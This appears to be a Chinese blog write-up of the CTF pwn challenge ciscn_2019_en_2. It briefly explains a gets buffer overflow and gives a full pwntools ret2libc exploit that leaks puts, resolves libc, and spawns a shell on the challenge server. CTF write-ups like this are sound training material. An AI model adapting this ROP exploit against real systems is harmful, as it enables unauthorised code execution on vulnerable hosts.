ciscn_2019_en_2

0x01 分析

checksec:

ida:

0x02 思路

选择1,进入Encrypt函数,gets函数溢出,\0绕过strlen,防止程序对我们输入的payload进行加密,破坏payload。

没有system和binsh。

64位,用寄存器传参,找pop_rdi:

注意栈平衡,ret用来进行栈对齐。

0x03 EXP

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
p=remote('node4.buuoj.cn',25059)
elf = ELF('./ciscn_2019_en_2')

main=0x400b28
pop_rdi_ret=0x400c83
ret=0x4006b9
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

payload1=b'\0'+(0x50-1+8)*b'a'#已经写了一个字符\0,所以要-1
payload1+=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)

p.recvuntil("Input your choice!\n")
p.sendline(b'1')
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload1)
p.recvuntil("Ciphertext\n\n")#两个回车

puts=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts") #计算偏移
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")

payload2=b'\0'+(0x50-1+8)*b'a'
payload2+=p64(ret)+p64(pop_rdi_ret)+p64(binsh)+p64(system)#栈平衡

p.recvuntil("Input your choice!\n")
p.sendline(b'1')
p.recvuntil("Input your Plaintext to be encrypted\n")
p.sendline(payload2)

p.interactive()

0x04 参考

\0和\x00:python字符串之'\x00'与空串''的区别_jason_cuijiahui的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值